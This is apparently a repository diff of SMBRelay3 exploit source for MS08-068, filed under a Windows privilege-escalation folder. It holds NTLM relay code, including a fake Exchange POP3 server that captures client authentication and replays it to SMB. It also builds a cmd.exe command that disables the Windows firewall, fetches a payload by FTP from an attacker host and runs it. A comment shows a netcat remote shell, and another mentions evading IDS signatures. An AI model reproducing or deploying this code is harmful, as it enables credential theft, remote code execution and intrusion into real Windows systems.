smheader *BuildSmbPacket1(void)
{
char buf2[4096];
smheader *SmbPacket1;
memset((char*)buf2,'\0',sizeof(buf2));
BuildAuthRequest((tSmbNtlmAuthRequest*)buf2,0,NULL,NULL);
#ifdef _DBG_
DumpMem((char*)buf2,SmbLength((tSmbNtlmAuthRequest*)buf2));
#endif
SmbPacket1=BuildSmbPacket((smheader*)NULL,SESSIONSETUPANDX,0,buf2,40);
return(SmbPacket1);
}
/*********************************************/
smheader *GetSmbPacket2(RELAY *relay,smheader* Packet1)
{
char *buffer=(char*)malloc(4096);
int i;
i=SendBytesAndWaitForResponse(relay->destination,(char*)Packet1, SmbPacketLen(Packet1), buffer,4096,SMBWAITTIMEOUT);
if (i>0){
return((smheader*)buffer);
}
return(NULL);
}
/*********************************************/
smheader *GetSmbPacket3(smheader* SmbPacket2,char *lpUserName, char *lpPassword, char *domainname, char *host, tSmbNtlmAuthResponse* OptionalNtlmPacket3)
{
char buf2[16384];
smheader *SmbPacket3;
memset((char*)buf2,'\0',sizeof(buf2));
buildAuthResponse((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2),(tSmbNtlmAuthResponse*)buf2,0,lpUserName,lpPassword,domainname,host, OptionalNtlmPacket3);
//DumpMem((void*)buf2,sizeof(tSmbNtlmAuthResponse));
SmbPacket3=BuildSmbPacket((smheader*)SmbPacket2,SESSIONSETUPANDX,0,buf2,(int)SmbLength((tSmbNtlmAuthResponse *)buf2));
return(SmbPacket3);
}
/*********************************************/
char *GenerateFTPTransfer(char *buffer,char *host, int port, char *username, char *password, char *downloadfile,char *optionalparameter)
{
char tmp[256];
char path[256];
char fullpath[100];
int random=0;
srand(time(0));
random=rand();
sprintf(path,"\\%i",random);
srand(random);
random=rand();
sprintf(fullpath,"%s\\%i",path,random);
//sprintf(tmp,"cmd.exe /c if EXIST %s\\%s (%s\\%s) ELSE netsh firewall add portopening TCP 8080 Smbrelay ENABLE ALL && ",path,downloadfile,path,downloadfile);
sprintf(tmp,"cmd.exe /c if EXIST %s\\%s (%s\\%s) ELSE netsh firewall set opmode DISABLE DISABLE & ",path,downloadfile,path,downloadfile);
strcpy(buffer,tmp);
sprintf(tmp,"md %s",path);
strcat(buffer,tmp);
sprintf(tmp,"&& echo o %s %i>%s",host, port,fullpath);
strcat(buffer,tmp);
sprintf(tmp,"&& echo %s>>%s",username,fullpath);
strcat(buffer,tmp);
sprintf(tmp,"&& echo %s>>%s",password,fullpath);
strcat(buffer,tmp);
sprintf(tmp,"&& echo USER %s>>%s",username,fullpath); //try password twice
strcat(buffer,tmp);
sprintf(tmp,"&& echo %s>>%s",password,fullpath);
strcat(buffer,tmp);
sprintf(tmp,"&& echo bin>>%s",fullpath);
strcat(buffer,tmp);
sprintf(tmp,"&& echo lcd %s>>%s",path,fullpath);
strcat(buffer,tmp);
sprintf(tmp,"&& echo bin>>%s",fullpath);
strcat(buffer,tmp);
sprintf(tmp,"&& echo GET %s>>%s",downloadfile,fullpath);
strcat(buffer,tmp);
sprintf(tmp,"&& echo bye>>%s",fullpath);
strcat(buffer,tmp);
sprintf(tmp,"&& ftp -s:%s",fullpath);
strcat(buffer,tmp);
if (optionalparameter) {
sprintf(tmp,"&& %s\\%s %s",path,downloadfile,optionalparameter);
} else {
sprintf(tmp,"&& %s\\%s",path,downloadfile);
}
strcat(buffer,tmp);
return(buffer);
}
97-Windows提权/MS08-068/src/payload.h
+19
View File
@@ -0,0 +1,19 @@
#ifndef _PAYLOAD_
#define _PAYLOAD_
#include "smbrelay.h"
#include "smb.h"
#include "ntlm.h"
void CleanLine(int verbose);
smheader *BuildSmbPacket1(void);
smheader *GetSmbPacket2(RELAY *relay,smheader* Packet1);
smheader *GetSmbPacket3(smheader* SmbPacket2,char *lpUserName, char *lpPassword, char *domainname, char *host, tSmbNtlmAuthResponse* OptionalNtlmPacket3);
smheader *GetSmbPacket3Alt(smheader* SmbPacket2,char *lpUserName, char *lpPassword, char *domainname, char *host, tSmbNtlmAuthResponse* OptionalNtlmPacket3);
int WriteRemoteFile(RELAY relay, smheader *buffer, char *lpFileName);
char *GenerateFTPTransfer(char *buffer,char *host, int port, char *username, char *password, char *downloadfile,char *optionalparameter);
int AttackWeakServices(RELAY relay, char *buf,char *path, uint16 FID, char *ServicePath);
#endif
97-Windows提权/MS08-068/src/pop3relay.cpp
+220
View File
@@ -0,0 +1,220 @@
/*
SMBRelay3 - POP3 REPLAY ATTACK MODULE
-------------------------------------
C:\smbrelay>nc 192.168.47.128 8080
Microsoft Windows 2000 [Versión 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>
*/
#include "pop3relay.h"
#include "payload.h"
extern int verbose;
int HandleIncommingPOP3Request(RELAY *relay, char *destinationhostname, int destinationport)
{
char buffer[4096];
char buf[4096];
char buf1[4096];
char buf2[4096];
char CurrentUserName[256];
char CurrentDomain[256];
char CurrentWorkstation[256];
smheader *SmbPacket1, *SmbPacket2, *SmbPacket3, *NegotiateProtocol;
tSmbNtlmAuthRequest *request;
uint16 packetlen;
int i;
char *p;
const char WelcomeMessage[]= "+OK Microsoft Exchange Server 2003 POP3 server version 6.5.7226.0 (SmbRelay) ready\r\n";
#define ERRORR "-ERR The specified authentication package is not supported.\r\n"
#define CAPA "+OK Capability list follows\r\nAUTH NTLM\r\n+OK\r\n"
#define AUTH "+OK The operation completed successfully.\r\nNTLM\r\n.\r\n"
#define AUTHOK "+OK User successfully logged on.\r\n"
#define AUTHERROR "-ERR Authentication Failed\r\n"
printf("[+] Sending POP3 Banner\n");
i=SendBytesAndWaitForResponse(relay->source,(char*)WelcomeMessage, (int)strlen(WelcomeMessage), buffer,sizeof(buffer),SMBWAITTIMEOUT);
if (i<=0){
printf("Error Reading EHLO message\n");
return(0);
}
if (memcmp(buffer,"CAPA",4)==0) {
printf("[+] CAPA Requests\n");
i=SendBytesAndWaitForResponse(relay->source,(char*)CAPA, strlen(CAPA), buffer,sizeof(buffer),SMBWAITTIMEOUT);
if (i<=0) return(0);
buffer[i]='\0';
}
if (memcmp(buffer,"AUTH",4)!=0) {
printf("[-] AUTH NTLM packet not received from client\n");
i=SendBytesAndWaitForResponse(relay->source,(char*)ERRORR, strlen(ERRORR), buffer,sizeof(buffer),SMBWAITTIMEOUT);
return(0);
} else {
printf("[+] Sending AUTH NTLM option to the client\r\n");
i=SendBytesAndWaitForResponse(relay->source,(char*)AUTH, strlen(AUTH), buffer,sizeof(buffer),SMBWAITTIMEOUT);
if (i<=0) return(0);
buffer[i]='\0';
}
if (memcmp(buffer,"AUTH NTLM",9)!=0) {
printf("[-] Not supported option %s received\n",buffer);
return(0);
}
if (strlen(buffer)>12){
printf("[+] received AUTH NTLM message\n");
memset((char*)&buf1,'\0',sizeof(buf1));
packetlen=from64tobits(buf1, buffer+12);
request=(tSmbNtlmAuthRequest *)buf1;
dumpAuthRequest(0,request);
} else {
memset(buffer,'\0',sizeof(buffer));
i=SendBytesAndWaitForResponse(relay->source,(char*)"+ OK\r\n", 6, buffer,sizeof(buffer),SMBWAITTIMEOUT);
if (i<=0){
printf("[-] Error Auth response with NTLM type1 packet\n");
return(0);
}
buffer[i]='\0';
printf("[+] received AUTH NTLM message\n");
memset((char*)&buf1,'\0',sizeof(buf1));
packetlen=from64tobits(buf1, buffer);
request=(tSmbNtlmAuthRequest *)buf1;
if (debug) {
printf("[+] received AUTH NTLM message: %s\n",buffer);
DumpMem(buf1,packetlen);
dumpAuthRequest(0,request);
}
}
//Init Replay Attack
i=ConnectToRemoteHost(relay,destinationhostname,destinationport);
if (!i) {
printf("[-] Unable to connect to remote host %s:%i\n",destinationhostname,destinationport);
return(0);
}
printf("[+] Sending SMB Protocol Authentication Handshake\n");
p = AddDialect(NULL,"PC NETWORK PROGRAM 1.0",0x02, &i);
p = AddDialect(p,"LANMAN1.0", 0x02,&i);
p = AddDialect(p,"Windows for Workgroups 3.1a", 0x02,&i);
p = AddDialect(p,"LM1.2X002", 0x02,&i);
p = AddDialect(p,"LANMAN2.1", 0x02,&i);
p = AddDialect(p,"NT LM 0.12", 0x02,&i);
NegotiateProtocol=BuildSmbPacket(NULL,NEGOTIATEPROTOCOLREQUEST,0,p,i);
free(p);
i=SendBytesAndWaitForResponse(relay->destination,(char*)NegotiateProtocol,SmbPacketLen(NegotiateProtocol),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
free(NegotiateProtocol);
if (i<=0){
printf("[-] Initial SMBHandShake (LanManager Negotiation) Failed\n");
return(0);
}
SmbPacket1=BuildSmbPacket1();
if (debug) {
printf("\n[+] Dumping SMB Packet With NTLM Message Type 1\n");
DumpMem((char*)SmbPacket1,SmbPacketLen(SmbPacket1));
}
SmbPacket2=GetSmbPacket2(relay,SmbPacket1);
if (SmbPacket2==NULL) {
printf("[-] Unable to receive SMB Packet with NTLM Message Type 2\n");
return(0);
}
printf("[+] Received SMB Message with NTLM message type 2 packet\n");
memcpy((char*)&packetlen,GetNTLMPacketFromSmbPacket(SmbPacket2)-4,2);
if (debug) {
printf("[*] SMB Packet Dump:\n");
DumpMem((char*)SmbPacket2,SmbPacketLen(SmbPacket2));
printf("[*] NTLM Challenge packet from SMB message\n");
DumpMem((char*)GetNTLMPacketFromSmbPacket(SmbPacket2),packetlen);
dumpAuthChallenge(0,(tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2));
}
((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2))->flags=0xb207;
memset(buf1,'\0',sizeof(buf1));
to64frombits((unsigned char*)&buf1, (unsigned char*)GetNTLMPacketFromSmbPacket(SmbPacket2), packetlen);
sprintf(buf,"+ %s\r\n",buf1);
printf("[+] Replaying NTLM Challenge from SMB Server to the POP3 Client\n");
if (debug)
{
printf("[+] Sending SMTP Response: %s\n",buf);
}
i=SendBytesAndWaitForResponse(relay->source,(char*)buf,(int)strlen(buf),(char*)buffer,sizeof(buffer),SMBWAITTIMEOUT);
if (i<=0)
{
printf("[-] Unable to read NTLM packet 3 from POP3 client\n");
return(0);
}
buffer[i]='\0';
if (debug) printf("[*] Response: %s\n",buffer);
memset((char*)&buf1,'\0',sizeof(buf1));
packetlen=from64tobits(buf1, buffer);
if (debug) {
printf("[*] Raw authorization packet (len: %i)\n",packetlen);
DumpMem(buf1,packetlen);
dumpAuthResponse(0,(tSmbNtlmAuthResponse*)buf1);
}
GetNTLMPacketInfo((tSmbNtlmAuthResponse*)buf1,(char*)&CurrentUserName, (char*)&CurrentDomain, (char*)&CurrentWorkstation,verbose);
printf("[+] Trying to authenticate to remote SMB as %s\n",CurrentUserName);
buildAuthResponse((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2),(tSmbNtlmAuthResponse*)buf2,0,CurrentUserName,NULL,NULL,CurrentWorkstation, (tSmbNtlmAuthResponse*)buf1);
SmbPacket3=BuildSmbPacket((smheader*)SmbPacket2,SESSIONSETUPANDX,0,buf2,(int)SmbLength((tSmbNtlmAuthResponse *)buf2));
printf("[+] Sending Final SMB Authentication packet with NTLM Message type 3\n");
if (debug)
{
DumpMem((char*)SmbPacket3, SmbPacketLen(SmbPacket3));
}
i=SendBytesAndWaitForResponse(relay->destination,(char*)SmbPacket3, SmbPacketLen(SmbPacket3),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
if (i<=0){
printf("[-] Error reading Server Authentication Response\n");
i=SendBytesAndWaitForResponse(relay->source,AUTHERROR, strlen(AUTHERROR), buffer,sizeof(buffer),SMBWAITTIMEOUT);
return(0);
}
if (debug) {
printf("[*] SessionSetupAndX Completed - Dumping received packet\n");
DumpMem(buf,i);
}
if (((smheader*)buf)->NtStatus!=0x00000000) {
printf("[-] SessionSetupAndX Completed\n[-] Authentication against Remote Host Failed\n");
i=SendBytesAndWaitForResponse(relay->source,AUTHOK, strlen(AUTHERROR), buffer,sizeof(buffer),SMBWAITTIMEOUT);
return(0);
}
if ( ((SessionSetupAndXResponse*)((smheader*)buf)->buffer)->Action & 0x0001 )
{
printf("[-] Authentication against Remote Host Failed. (Connected as Guest)\n");
i=SendBytesAndWaitForResponse(relay->source,AUTHERROR, strlen(AUTHERROR), buffer,sizeof(buffer),SMBWAITTIMEOUT);
return(0);
}
//WriteDataToReportFile("log.txt", (tSmbNtlmAuthResponse*)buf1, destinationhostname,(unsigned char*)((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2))->challengeData);
printf("[+] SessionSetupAndX Completed \n");
printf("[+] Authenticacion against %s Succeed with username %s\n",destinationhostname,CurrentUserName);
i=SendBytesAndWaitForResponse(relay->source,AUTHOK, strlen(AUTHOK), buffer,sizeof(buffer),SMBWAITTIMEOUT);
ExecuteCode( *relay);
return(1);
}
97-Windows提权/MS08-068/src/pop3relay.h
+9
View File
@@ -0,0 +1,9 @@
#ifndef _POP3_RELAY_
#define _POP3_RELAY_
#include "smbrelay.h"
int HandleIncommingPOP3Request(RELAY *relay, char *destinationhostname,int destinationport);
#endif
97-Windows提权/MS08-068/src/smb.cpp
+779
View File
@@ -0,0 +1,779 @@
/* $Id$
SMBRELAY - Small SMB Library packet generation.
Author: Andres Tarasco - (atarasco at gmail.com )
URL: http://www.tarasco.org
This is not a complete library, but its functional for sending special crafted messages needed to perform attacks with smbrelay3
Lots of improvements need to be done but at this time works for me.
Currently the following messages are supported:
a) SMB NTLM Authentication (SessionSetupAndX)
b) Connecting To resources (like c$, ipc$, admin$, pipes, ...) (TreeConnectAndX )
c) Opening remote Files for Writting (by default) and reading (NtCreateAndX)
d) Writting remote files (WriteAndX)
e) Service Control Manager (Connnect, open, start, stop and modify service)
Data structures have been added by reversing Raw dumps with the help of ethereal disectors.
NOTE: RPCBinds are hardcoded under non WIN32 Enviroments.
*/
#define _CRT_SECURE_NO_DEPRECATE
#include "ntlm.h"
#include "smb.h"
#include "misc.h"
#ifdef WIN32
#include <rpcdce.h>
#pragma comment (lib,"rpcrt4")
#endif
uint16 UserID=0;
uint16 MultpleID=0;
void SetEnviroment(uint16 sessionUserID, uint16 sessionTreeID, uint16 sessionFID) {
if (sessionUserID) UserID=sessionUserID;
}
//uint32 test;
// Services Stub Generation
int InitDataBlock(DataBlock *block,char *data) {
memset(block,'\0',sizeof(DataBlock));
block->Lenght=strlen(data)+1;
block->MaxLenLow=block->Lenght;
block->MaxLenHigh=0;
chartoWide((char*)block->data,(char*)data,(int)strlen(data) );
return( sizeof(DataBlock) -sizeof(block->data) + 2*block->Lenght + 2* (block->Lenght%2 ==1) );
}
int CreateServiceWStub(char *destionation,char *ContextHandle,char *ServiceName, char *ServiceDescription,char *path, int StartType, int ServiceType){
char *p;
int len1, len2, len3;
CreateServiceWStruct *CreateServiceWMsg=(CreateServiceWStruct *)destionation;
CreateServiceWStruct *Message=(CreateServiceWStruct*)malloc(sizeof(CreateServiceWStruct));
memset((char*)Message,0,sizeof(CreateServiceWStruct));
memcpy((char*)Message->ContextHandle,(char*)ContextHandle,20);
len1=InitDataBlock(&Message->ServiceName,ServiceName);
Message->unknown=0x00020000;
len2=InitDataBlock(&Message->ServiceDescription,ServiceDescription);
Message->unknown1=0x000f01ff;
Message->StartType=StartType;
Message->ServiceType=ServiceType;
//Message->unknown2=
len3=InitDataBlock(&Message->path,path);
p=(char*)CreateServiceWMsg;
memcpy((char*)p,(char*)Message,sizeof(CreateServiceWStruct));
p=p + 20 + len1;
memcpy((char*)p ,(char*)&Message->unknown,4 +len2);
p= p + 4 +len2;
memcpy(p,(char*)&Message->unknown1,sizeof(CreateServiceWStruct));
p = p + 4*4 + len3;
memcpy(p,(char*)&Message->blank,28);
free(Message);
return ( sizeof(CreateServiceWStruct) - sizeof(DataBlock)*3 +len1 + len2 + len3);
free(Message);
}
int ChangeServiceConfigWStub(char *destionation,char *ContextHandle,char *path, int StartType, int ServiceType) {
ChangeServiceConfigWStruct *ChangeServiceConfigWMessage=(ChangeServiceConfigWStruct *)destionation;
memset((char*)ChangeServiceConfigWMessage,'\0',sizeof(ChangeServiceConfigWStruct));
memcpy((char*)ChangeServiceConfigWMessage->ContextHandle,(char*)ContextHandle,20);
ChangeServiceConfigWMessage->StartType=StartType;
ChangeServiceConfigWMessage->ServiceType=ServiceType;
ChangeServiceConfigWMessage->unknown1=0x00000000; //maybe error parameter ?
ChangeServiceConfigWMessage->unknown2=0x0000;
ChangeServiceConfigWMessage->unknown3=0x02;
ChangeServiceConfigWMessage->MaxLenLow=strlen(path)+1;
ChangeServiceConfigWMessage->MaxLenHigh=0;
ChangeServiceConfigWMessage->Lenght=strlen(path)+1;
chartoWide((char*)&ChangeServiceConfigWMessage->buffer,(char*)path,(int)strlen(path) );
return( sizeof(ChangeServiceConfigWStruct) - sizeof(ChangeServiceConfigWMessage->buffer) + ChangeServiceConfigWMessage->MaxLenLow*2 + 2*((((int)strlen((char*)path)+1)%2) ==1));
}
int OpenServiceWStub(char *destionation,char *ContextHandle,char *servicename, int flags)
{
/*
Function: OpenServiceWStub()
Genera el Stub de una llamada OpenServiceW() para incluirlo en un paquete SMB.
Parameters:
[out] OpenServiceAMessage: Stub resultante
[int] ContextHandle: 20 bytes Handle (devuelto en una llamada OpenServiceManager()
[in] Servicename: string que contiene el nombre de servicio a abrir.
[in] flags: Flags de la llamada OpenServiceW()
Result value:
size of the stub data packet
*/
int len1;
OpenServiceAStruct *OpenServiceAMessage = (OpenServiceAStruct *)destionation;
memset((char*)OpenServiceAMessage,'\0',sizeof(OpenServiceAStruct));
len1=InitDataBlock(&OpenServiceAMessage->ServiceName,servicename);
OpenServiceAMessage->flags=flags;
memcpy((char*)OpenServiceAMessage->ContextHandle,(char*)ContextHandle,20);
memcpy((char*)OpenServiceAMessage +20 +len1,&OpenServiceAMessage->flags,4);
return ( 24 +len1);//sizeof(OpenServiceAStruct) - sizeof(OpenServiceAMessage->buffer) + (OpenServiceAMessage->Lenght)*2 );
}
int OpenScManagerWStub(char *destionation, char *data, int flags)
{
/*
Function: OpenScManagerWStub() - Genera el Stub de una llamada OpenScManagerW() para incluirlo en un paquete SMB.
Parameters:
[out] Mscstruct: Stub resultante
[in] data: string que contiene el nombre de service Manager a abrir.
[in] flags: Flags de la llamada OpenScManagerW()
Result value: size of the stub data packet
*/
MSCStruct *Mscstruct=(MSCStruct *)destionation;
memset(Mscstruct,'\0',sizeof(MSCStruct));
Mscstruct->ReferentID=0x00020000;
Mscstruct->MaxCount=(uint32)strlen((char*)data)+1;//0x07;
Mscstruct->Offset=0;
Mscstruct->ActualCount=(uint32)strlen((char*)data)+1;//0x07;
Mscstruct->Database=0x00000000;
Mscstruct->AccessMask=flags;
//This data is optional. looks that its not checked
chartoWide((char*)&Mscstruct->lpFileNameW,(char*)data,(int)strlen(data) );
memcpy((char*)Mscstruct + sizeof(MSCStruct) - sizeof(Mscstruct->lpFileNameW) -8 + 2*((((int)strlen((char*)data)+1)%2) ==1) +(strlen((char*)data)+1)*sizeof(WCHAR),(char*)&Mscstruct->Database,8 );
return (24 + (uint32)(strlen((char*)data)+1)*sizeof(WCHAR) + 2*((((int)strlen((char*)data)+1)%2) ==1));
}
int BuildTreeConnectAndXStub(char *destination,char *password, char *resource, char *service)
{
TreeConnectAndX *message=(TreeConnectAndX*)destination;
smheader *foo;
message->WordCount=(uint16)4;
message->AndXCommand=0xff;
message->reserved2=0;
message->AndXOffset = sizeof(TreeConnectAndX) + strlen(password) + strlen(service)+1 + (strlen((char*)resource)+1)*sizeof(WCHAR) + sizeof(smheader) - sizeof(foo->buffer) -4;
message->flags=0x8;
message->PasswordLen=strlen(password)+1;
message->ByteCount = (strlen(resource)+1 )*sizeof(WCHAR) + message->PasswordLen +strlen(service)+1;
memcpy((char*)&message->Password,password,message->PasswordLen);
chartoWide((char*)&message->Password + message->PasswordLen,(char*)resource,(int)strlen((char*)resource) +1 );
memcpy(destination+sizeof(TreeConnectAndX) + (strlen((char*)resource)+1)*sizeof(WCHAR) ,service,strlen(service)+1);//"\x3f\x3f\x3f\x3f\x3f\x00",6);
return( sizeof(TreeConnectAndX) + strlen(password) + strlen(service)+1 + (strlen((char*)resource)+1)*sizeof(WCHAR) );
}
char *AddDialect(char *data, char *name, uint8 type, int *PacketSize) {
if (!data) {
*PacketSize=0;
data=(char*)malloc(strlen(name)+2);
} else {
data=(char*)realloc(data, *PacketSize +2 + strlen(name));
}
//printf("PacketSize vale: %i\n",*PacketSize);
data[*PacketSize]=type;
strcpy((char*)&data[*PacketSize+1],name);
*PacketSize+=2+strlen(name);
return(data);
}
#ifdef WIN32
CtxItem *AddBinddingInformation(CtxItem *CurrentCtx, char *Abstract, char *Transfer, int MayorVersion, int MinorVersion,int *PacketSize)
{
CtxItem *ctx=CurrentCtx;
int i=0;
if (!ctx){
ctx=(CtxItem*)malloc(sizeof(CtxItem));
*PacketSize=0;
} else {
ctx=(CtxItem*)realloc(ctx,*PacketSize +sizeof(CtxItem));
}
i=*PacketSize/sizeof(CtxItem);
*PacketSize+=sizeof(CtxItem);
ctx[i].ContextID=i;
ctx[i].NumberOfTransItems=1;
ctx[i].padding=0;
ctx[i].AbstractSyntaxis.MayorVersion=MayorVersion;
ctx[i].AbstractSyntaxis.MinorVersion=MinorVersion;
UuidFromStringA((unsigned char *)Abstract, (UUID *) &ctx[i].AbstractSyntaxis.uuid[0]);
ctx[i].TransferSyntaxis.MayorVersion=MayorVersion;
ctx[i].TransferSyntaxis.MinorVersion=MinorVersion;
UuidFromStringA((unsigned char *)Transfer, (UUID *)&ctx[i].TransferSyntaxis.uuid[0]);
return(ctx);
}
#endif
smheader *BuildSmbPacket(smheader *PreviousSmbMessage,uint8 SmbCommand,uint8 SubCommand, void *data, int DataSize)
{
smheader *NewSmbPacket;
WCHAR tail1[18];
WCHAR tail2[17];
//Parameters Supported:
SessionSetupAndX *SessionSetupAndXMessage;
SessionSetupAndXResponse *SessionSetupAndXResponseMessage;
// TreeConnectAndX *TreeConnectAndXMessage;
FIND_FIRST2 *FIND_FIRST2Message;
NTCreateAndX *NTCreateAndXMessage;
WriteAndX *WriteAndXMessage;
SMB_COM_TRANSACTION_STRUCT *TransRequest;//
ReadAndX *ReadAndXMessage;
CLOSE *CloseMessage;
//dce
DceRpcBind *dcerpcbind;
// CtxItem *ctx;
DceRpcRequest *dcerpc;
//other variables
WCHAR lpFileNameW[256];
// int i,j;
NewSmbPacket=(smheader*)malloc(sizeof(smheader));
memset((char*)NewSmbPacket,'\0',sizeof(smheader));
NewSmbPacket->SmbMessageType=0x0000;
//0xFF for SMBv1 and 0xFE for SMBv2 (TODO)
memcpy((char*)NewSmbPacket->ProtocolHeader,"\xff\x53\x4d\x42",4); //"?SMB"
NewSmbPacket->SmbCommand=SmbCommand;
NewSmbPacket->flags=0x18;
NewSmbPacket->flags2=0xc803; //LOWEST SMB FLAGS with Unicode
//NewSmbPacket->flags2=0x4803;
// NewSmbPacket->flags2=0xc802;
NewSmbPacket->ProccessID=0xfeff;
//NewSmbPacket->ProccessID=6666;
/*
if (SmbCommand==SESSIONSETUPANDX) { //Init UserID value
if (PreviousSmbMessage!=NULL) {
UserID=PreviousSmbMessage->UserID;
printf("estableciendo UserID: %i\n",UserID);
}
}
*/
NewSmbPacket->UserID=UserID;
NewSmbPacket->multipleID=MultpleID;
MultpleID+=64;
if (DataSize > sizeof(NewSmbPacket->buffer)) {
NewSmbPacket=(smheader*)realloc(NewSmbPacket,sizeof(smheader) + DataSize);
}
switch(SmbCommand)
{
case NEGOTIATEPROTOCOLREQUEST:
UserID=0;
MultpleID=0;
if (SubCommand==CONTINUERESPONSE) {
/*
Generates an SMB Negotiate Protocol Response.
This packet is needed when acting as an SMB Server.
NOTE: If the original reponse from the client is sent, the server could force logoff due to kerberos authentication failure.
so we need to create our own packet with an unknown Computer GUID
*/
NewSmbPacket->flags=0x98;
NegotiateProtocolResponse *NegotiateProtocolResponseMessage;
NegotiateProtocolResponseMessage=(NegotiateProtocolResponse *)malloc(sizeof(NegotiateProtocolResponse));
memset((char*)NegotiateProtocolResponseMessage,'\0',sizeof(NegotiateProtocolResponse));
NewSmbPacket->SmbMessageLength=SREV(85);
NegotiateProtocolResponseMessage->WordCount=17;
NegotiateProtocolResponseMessage->DialecIndex=5; //grater than lanman2.1
NegotiateProtocolResponseMessage->SecurityMode=0x03; // User Security Mode + Password encrypted
NegotiateProtocolResponseMessage->MaxMxpCount=50;
NegotiateProtocolResponseMessage->MaxVcs=1;
NegotiateProtocolResponseMessage->MaxBufferSize=16644;
NegotiateProtocolResponseMessage->MaxRawBuffer=65536;
NegotiateProtocolResponseMessage->SessionKey=0x00000000;
NegotiateProtocolResponseMessage->Capabilities=0x8001f3fd;
//FIX and set a valid ServerTime.
//NegotiateProtocolResponseMessage->ServerTime=0;
NegotiateProtocolResponseMessage->ServerTimeZone=0x0000;
NegotiateProtocolResponseMessage->KeyLength=0;
NegotiateProtocolResponseMessage->ByteCount=16;
//TODO: Generate Random SMBRELAY Server GUID.
//change it to avoid IDS Signatures :)
memcpy(NegotiateProtocolResponseMessage->ServerGuid,"\xef\xea\x7f\x5b\xe2\x0a\x4e\x4d\xad\xee\xa6\\x29\x15\\xab",16);
memcpy(NewSmbPacket->buffer,(char*)NegotiateProtocolResponseMessage,sizeof(NegotiateProtocolResponse));
free(NegotiateProtocolResponseMessage);
} else {/* Generates an SMB Negotiate Protocol Response. This packet is needed when acting as an SMB Client. */
NegotiateProtocolRequest* NegotiateProtocolRequestMessage;
NegotiateProtocolRequestMessage=(NegotiateProtocolRequest *)malloc(sizeof(NegotiateProtocolRequest));
memset((char*)NegotiateProtocolRequestMessage,'\0',sizeof(NegotiateProtocolRequest));
NewSmbPacket->SmbMessageLength=SREV(35 + DataSize);
if (DataSize > ( sizeof(NewSmbPacket->buffer) - sizeof(NegotiateProtocolRequest) + sizeof(DIALECT*) ))
{
NewSmbPacket=(smheader*)realloc(NewSmbPacket,sizeof(smheader) -sizeof(NewSmbPacket->buffer) + sizeof(NegotiateProtocolRequest) +DataSize );
}
NegotiateProtocolRequestMessage->WordCount=0;
NegotiateProtocolRequestMessage->ByteCount=DataSize;
memcpy(NewSmbPacket->buffer,(char*)NegotiateProtocolRequestMessage,sizeof(NegotiateProtocolRequest)-sizeof(DIALECT*) );
memcpy(NewSmbPacket->buffer + sizeof(NegotiateProtocolRequest)-sizeof(DIALECT*) ,data, DataSize);
free(NegotiateProtocolRequestMessage);
}
break;
case FINDFIRST2:
FIND_FIRST2Message=(FIND_FIRST2 *)malloc(sizeof(FIND_FIRST2));
if (DataSize > sizeof(NewSmbPacket->buffer)) {
NewSmbPacket=(smheader*)realloc(NewSmbPacket,sizeof(smheader) + DataSize);
}
memset((char*)FIND_FIRST2Message,'\0',sizeof(FIND_FIRST2));
NewSmbPacket->SmbMessageLength=SREV (sizeof(smheader)- sizeof(NewSmbPacket->buffer) +sizeof(FIND_FIRST2) -sizeof(FIND_FIRST2Message->SearchPattern) + (DataSize+1)*2 -4 );
if (PreviousSmbMessage!=NULL){
NewSmbPacket->TreeId=((smheader *)PreviousSmbMessage)->TreeId;
}
FIND_FIRST2Message->WordCount=15;
FIND_FIRST2Message->TotalParameterCount=18;
FIND_FIRST2Message->TotalDataCount=0;
FIND_FIRST2Message->MaxParameterCount=10;
FIND_FIRST2Message->MaxDataCount=16384;
FIND_FIRST2Message->MaxSetupCount=0;
FIND_FIRST2Message->reserved=0;
FIND_FIRST2Message->flags=0x0000;
FIND_FIRST2Message->timeout=0; //No Timeout
FIND_FIRST2Message->reserved2=0;
FIND_FIRST2Message->ParameterCount=12 + (DataSize+1)*2;//18; //sizeo of Find_First2 struct
FIND_FIRST2Message->ParameterOffset=68; //default offset. We are only sending static messages
FIND_FIRST2Message->DataCount=0;
FIND_FIRST2Message->DataOffset=0;
FIND_FIRST2Message->SetupCount=1;
FIND_FIRST2Message->reserved3=0;
FIND_FIRST2Message->SubCommand=0x01; //FIND_FIRST2
//4 setfs quote
FIND_FIRST2Message->ByteCount=3+ 12 + (DataSize+1)*2;//21; //sizeof(->find_First2 + Padding )
FIND_FIRST2Message->SearchAttributes=0x16;
FIND_FIRST2Message->SearchCount=1366;
FIND_FIRST2Message->Searchflags=0x0006;
FIND_FIRST2Message->LevelOfInterest=260;
FIND_FIRST2Message->StorageType=0;
FIND_FIRST2Message->SearchPattern=(uint8*)malloc((DataSize+1)*2);
memset(FIND_FIRST2Message->SearchPattern,'\0',(DataSize+1)*2);
chartoWide((char*)FIND_FIRST2Message->SearchPattern,(char*)data,DataSize );
//memcpy((char*)&FIND_FIRST2Message->SearchAttributes,(char*)FIND_FIRST2Message->SearchPattern,12 );
/*
memcpy((char*)&FIND_FIRST2Message->SearchPattern[0],(char*)data,DataSize );
memcpy((char*)&FIND_FIRST2Message->SearchPattern[DataSize],(char*)data,DataSize );
*/
memcpy(NewSmbPacket->buffer,(char*)FIND_FIRST2Message, 48);// + (DataSize+1)*2);//sizeof(FIND_FIRST2));
memcpy(NewSmbPacket->buffer +48,(char*)FIND_FIRST2Message->SearchPattern, (DataSize+1)*2);//
free(FIND_FIRST2Message);
free(FIND_FIRST2Message->SearchPattern);
break;
case NTCREATEANDX:
NTCreateAndXMessage=(NTCreateAndX *)malloc(sizeof(NTCreateAndX));
memset((char*)NTCreateAndXMessage,'\0',sizeof(NTCreateAndX));
NewSmbPacket->SmbMessageLength=(uint16)SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) +sizeof(NTCreateAndX) + (strlen((char*)data)+1)*sizeof(WCHAR) -4 );
NewSmbPacket->TreeId=((smheader *)PreviousSmbMessage)->TreeId;
NTCreateAndXMessage->WordCount=24;
